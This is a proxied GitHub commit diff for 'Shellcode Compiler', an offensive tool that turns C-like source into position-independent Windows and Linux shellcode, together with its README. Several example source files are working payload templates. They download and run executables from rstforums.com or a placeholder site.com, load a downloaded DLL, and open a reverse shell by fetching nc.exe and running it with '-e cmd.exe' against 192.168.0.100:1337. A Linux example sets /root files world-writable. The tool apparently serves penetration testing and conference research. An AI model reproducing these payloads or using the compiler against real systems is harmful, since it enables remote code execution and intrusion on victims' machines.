| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,15 +1,7 @@ | |||
| 1 | - | ||
| 2 | 1 | function URLDownloadToFileA("urlmon.dll"); | |
| 3 | - | ||
| 4 | 2 | function WinExec("kernel32.dll"); | |
| 5 | - | ||
| 6 | 3 | function ExitProcess("kernel32.dll"); | |
| 7 | 4 | ||
| 8 | - | ||
| 9 | - | ||
| 10 | 5 | URLDownloadToFileA(0,"https://rstforums.com/fisiere/calc.exe","calc.exe",0,0); | |
| 11 | - | ||
| 12 | 6 | WinExec("calc.exe",0); | |
| 13 | - | ||
| 14 | - ExitProcess(0); | ||
| 15 | - | ||
| 7 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,13 +1,7 @@ | |||
| 1 | 1 | function URLDownloadToFileA("urlmon.dll"); | |
| 2 | - | ||
| 3 | 2 | function LoadLibraryA("kernel32.dll"); | |
| 4 | - | ||
| 5 | 3 | function ExitProcess("kernel32.dll"); | |
| 6 | 4 | ||
| 7 | - | ||
| 8 | - | ||
| 9 | 5 | URLDownloadToFileA(0,"https://rstforums.com/fisiere/DLLExample.dll","SC.dll",0,0); | |
| 10 | - | ||
| 11 | 6 | LoadLibraryA("SC.dll"); | |
| 12 | - | ||
| 13 | - ExitProcess(0); | ||
| 7 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,14 +1,7 @@ | |||
| 1 | - | ||
| 2 | 1 | function CopyFileA("kernel32.dll"); | |
| 3 | - | ||
| 4 | 2 | function DeleteFileA("kernel32.dll"); | |
| 5 | - | ||
| 6 | 3 | function ExitProcess("kernel32.dll"); | |
| 7 | 4 | ||
| 8 | - | ||
| 9 | - | ||
| 10 | 5 | CopyFileA("C:\Windows\System32\calc.exe","C:\Users\Ionut\Desktop\calc.exe",0); | |
| 11 | - | ||
| 12 | 6 | DeleteFileA("C:\Users\Ionut\Desktop\Delete.txt"); | |
| 13 | - | ||
| 14 | - ExitProcess(0); | ||
| 7 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,6 @@ | |||
| 1 | + chmod("/root/chmodme",511); | ||
| 2 | + write(1,"Hello, world",12); | ||
| 3 | + kill(1661,9); | ||
| 4 | + getpid(); | ||
| 5 | + execve("/usr/bin/burpsuite",0,0); | ||
| 6 | + exit(2); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,10 +1,5 @@ | |||
| 1 | - | ||
| 2 | 1 | function MessageBoxA("user32.dll"); | |
| 3 | - | ||
| 4 | 2 | function ExitProcess("kernel32.dll"); | |
| 5 | 3 | ||
| 6 | - | ||
| 7 | - | ||
| 8 | 4 | MessageBoxA(0,"This is a MessageBox example","Shellcode Compiler",0); | |
| 9 | - | ||
| 10 | - ExitProcess(0); | ||
| 5 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,9 +1,5 @@ | |||
| 1 | 1 | function RegSetKeyValueA("advapi32.dll"); | |
| 2 | - | ||
| 3 | 2 | function ExitProcess("kernel32.dll"); | |
| 4 | 3 | ||
| 5 | - | ||
| 6 | - | ||
| 7 | 4 | RegSetKeyValueA(2147483649,"Software\Microsoft\Notepad","Test",1,"Nytro",5); | |
| 8 | - | ||
| 9 | - ExitProcess(0); | ||
| 5 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,13 +1,7 @@ | |||
| 1 | 1 | function URLDownloadToFileA("urlmon.dll"); | |
| 2 | - | ||
| 3 | 2 | function WinExec("kernel32.dll"); | |
| 4 | - | ||
| 5 | 3 | function ExitProcess("kernel32.dll"); | |
| 6 | 4 | ||
| 7 | - | ||
| 8 | - | ||
| 9 | 5 | URLDownloadToFileA(0,"https://rstforums.com/fisiere/nc.exe","nc.exe",0,0); | |
| 10 | - | ||
| 11 | 6 | WinExec("nc.exe -e cmd.exe 192.168.0.100 1337",0); | |
| 12 | - | ||
| 13 | - ExitProcess(0); | ||
| 7 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,12 +1,11 @@ | |||
| 1 | 1 | # Shellcode Compiler | |
| 2 | 2 | ||
| 3 | - Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way. | ||
| 3 | + Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows (x86 and x64) and Linux (x86 and x64). It is possible to call any Windows API function or Linux syscall in a user-friendly way. | ||
| 4 | 4 | ||
| 5 | 5 | Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with Keystone engine. | |
| 6 | 6 | ||
| 7 | - Shellcode compiler was released at DefCamp security conference in Romania, November 2016. | ||
| 8 | - | ||
| 9 | 7 | # Command line options | |
| 8 | + | ||
| 10 | 9 | -h (--help) : Show this help message | |
| 11 | 10 | -p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64 | |
| 12 | 11 | -v (--verbose) : Print detailed output | |
@@ -15,7 +14,7 @@ Shellcode compiler was released at DefCamp security conference in Romania, Novem | |||
| 15 | 14 | -o (--output) : Output file of the generated binary shellcode | |
| 16 | 15 | -a (--assembbly) : Output file of the generated assembly code | |
| 17 | 16 | ||
| 18 | - # Source code example | ||
| 17 | + # Windows example | ||
| 19 | 18 | ||
| 20 | 19 | function URLDownloadToFileA("urlmon.dll"); | |
| 21 | 20 | function WinExec("kernel32.dll"); | |
@@ -24,29 +23,43 @@ Shellcode compiler was released at DefCamp security conference in Romania, Novem | |||
| 24 | 23 | URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0); | |
| 25 | 24 | WinExec("bk.exe",0); | |
| 26 | 25 | ExitProcess(0); | |
| 27 | - | ||
| 26 | + | ||
| 27 | + # Linux example | ||
| 28 | + | ||
| 29 | + chmod("/root/chmodme",511); | ||
| 30 | + write(1,"Hello, world",12); | ||
| 31 | + kill(1661,9); | ||
| 32 | + getpid(); | ||
| 33 | + execve("/usr/bin/burpsuite",0,0); | ||
| 34 | + exit(2); | ||
| 35 | + | ||
| 28 | 36 | # Invocation example | |
| 29 | - ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm | ||
| 37 | + | ||
| 38 | + ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64 | ||
| 30 | 39 | ||
| 31 | 40 | # Limitations | |
| 41 | + | ||
| 32 | 42 | 1. It is not possible to use the return value of an API call | |
| 33 | 43 | 2. It is not possible to use pointers or buffers | |
| 34 | 44 | 3. It is not possible to declare variables | |
| 35 | 45 | ||
| 36 | - All these limitations will be fixed as soon as possible. However, many other limitations will exist. | ||
| 46 | + Multiple other limitations exists as well. | ||
| 37 | 47 | This is an Alpha version. Please report any bugs or suggestions. | |
| 38 | 48 | ||
| 39 | 49 | # Changelog | |
| 50 | + | ||
| 40 | 51 | 1. Initial support for Windows x64 | |
| 52 | + 2. Initial support for Linux (x86 and x64) shellcodes | ||
| 41 | 53 | ||
| 42 | 54 | # Keystone compilation | |
| 55 | + | ||
| 43 | 56 | 1. Download Keystone Engine source code | |
| 44 | 57 | 2. Download, install and put in PATH cmake and python | |
| 45 | - 3. Open Visual Studio 2019 - x86 (for 32 bits) and x64 (for 64 bits) Native Tools Command Prompts and go to Keystone source directory | ||
| 58 | + 3. Open Visual Studio 2019 - x86 (for 32 bits) and x64 (for 64 bits) "Native Tools Command Prompts" and go to Keystone source directory | ||
| 46 | 59 | 4. Edit nmake-lib.bat file and replace -DLLVM_TARGETS_TO_BUILD="all" with -DLLVM_TARGETS_TO_BUILD="X86" | |
| 47 | 60 | 5. Run mkdir build and cd build commands | |
| 48 | 61 | 6. Run ..\nmake-lib.bat command | |
| 49 | - 7. Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\keystone_x86.lib and keystone_x64.lib | ||
| 62 | + 7. Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\keystone_x86.lib (for 32 bits) and keystone_x64.lib (for 64 bits) | ||
| 50 | 63 | ||
| 51 | 64 | # Author | |
| 52 | 65 | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments